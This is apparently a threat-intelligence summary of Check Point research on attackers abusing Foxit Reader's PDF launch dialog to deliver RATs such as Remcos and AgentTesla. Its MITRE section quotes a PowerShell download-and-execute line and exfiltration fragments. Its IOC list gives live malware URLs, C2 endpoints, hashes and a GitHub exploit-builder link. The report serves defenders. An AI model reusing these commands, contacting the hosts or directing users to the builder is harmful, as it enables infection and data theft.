Foxit PDF Vulnerability Exploitation

Check Point Research outlines a Foxit PDF exploit pattern that relies on a flawed Foxit Reader design to prompt users into executing malicious commands, with campaigns spanning espionage and cybercrime. The report catalogs multiple families and tools (e.g., Remcos, VenomRAT, AgentTesla, NjRAT, NanoCore RAT) and details attacker builders and infection chains, plus MITRE mappings and IOCs.
#FoxitReader #FoxitPDFExploit #APTC-35 #DoNotTeam #Remcos #VenomRAT #AgentTesla #NjRAT #NanoCoreRAT #Pony #Xworm #AsyncRAT #DCRat #BlankGrabber

Keypoints

  • Foxit Reader is targeted by an exploit that leverages a default dialog flow to prompt users into executing harmful commands.
  • The attacker chain uses PDF OpenAction with Launch/Win directives to run CMD and PowerShell commands against the victim.
  • Campaigns span espionage and cybercrime, with APT-C-35 / DoNot Team implicated in hybrid campaigns and 2FA bypasses.
  • Infections drop multiple payloads (downloader, uploader, Python/VBScript loaders) and persist via Run keys, with string decryption and custom encryption observed.
  • The operation leverages social platforms (Facebook, Discord) and legitimate sites (Trello, GitHub) to stage and distribute malicious files.
  • A wide array of malware families and tools were observed (Remcos, VenomRAT, AgentTesla, NjRAT, NanoCore RAT, Pony, Xworm, AsyncRAT, DCRat) across campaigns.

MITRE Techniques

  • [T1203] Exploitation for Client Execution – The exploit triggers malicious commands via a flawed Foxit Reader design; Check Point notes: “The malicious command is executed once the victim “Agrees” to the default options twice.”
  • [T1059.001] PowerShell – The downloader uses PowerShell to download and execute payloads (e.g., “powershell -Command “(New-Object Net.WebClient).DownloadFile(‘hxxps://…/Client_1.exe’, ‘payload.exe’)””).
  • [T1059.003] Windows Command Shell – The execution flow uses cmd.exe to run downloaded commands (e.g., “cmd.exe /c cD %tEMP% …”).
  • [T1059.007] VBScript – The infection chain includes VBScript components (e.g., “Sub Main() Dim WShell…”).
  • [T1027] Obfuscated/Encrypted/Compressed Files – Strings are encrypted with a custom algorithm (“The malware contains strings important to its functionality and is encrypted with a custom algorithm.”).
  • [T1082] System Information Discovery – The downloader gathers machine information (Computer name, User name, IP Address, OS Version) and writes it to a file.
  • [T1041] Exfiltration Over C2 Channel – After collecting data, the downloader uploads files to the C2 (e.g., “Content-Type: multipart/form-data… Computer Name: $PC_NAME IP Address: $IP_ADDRESS…”).
  • [T1113] Screen Capture – A downloader component references “screen, a tool making screenshots and saves them to the same folder to be picked up by upload.”
  • [T1547.001] Registry Run Keys/Startup Folder – Persistence is achieved by copying itself and setting a Run registry value named “TailoredExperiencesWithDiagnosticDataEnabled”.
  • [T1001] Data Obfuscation/Encryption – Custom decryption routines decrypt strings and payloads during operation.

Indicators of Compromise

  • [URL] Discord-based payload delivery – https://cdn.discordapp.com/attachments/1010643365152436226/1011056243474960515/Client_1.exe, and a second domain example https://omagle-chat-secure.com/target.exe
  • [URL] C2 and data exfiltration endpoints – hxxps://mailservicess.com/ghijkl/ghijkl/index.php, hxxps://sealingshop.click/config/stu, hxxps://sealingshop.click/bat/bostar4
  • [URL] Temporary download/hosting sites used in campaigns – https://www.digitalmarketingstart.com/digitalmarketing/STARTPOWER2642024GO___________________________AUTO.MP4, https://www.digitalmarketingstart.com/GFFFDSGSDGDFSGDFSGDSG.lnk
  • [IP] Command and control server – 139.99.85.106:2404 (noted as the C2 server for Remcos in Case III)
  • [Domain] Hosted services and social platforms used for distribution – discordapp.com, trello.com, facebook.com
  • [Hash] Known malicious files (examples) – d44f161b75cba92d61759ef535596912e1ea8b6a5a2067a2832f953808ca8609, ac7598e2b4dd12ac584a288f528a94c484570582c9877c821c47789447b780ec
  • [Hash] Additional builder/file hashes listed in IOC table – e.g., 3f291d07a7b0596dcdf6f419e6b38645b77b551a2716649c12b8706d31228d79, 2266f701f749d4f393b8a123bd7208ec7d5b18bbd22eb47853b906686327ad59
  • [URL] GitHub builder resource – https://github.com/K3rnel-Dev/pdf-exploit/ (PDF Exploit Builder family)
  • [Account] Telegram channel and userAliases – Telegram: @Silentkillertv

Read more: https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/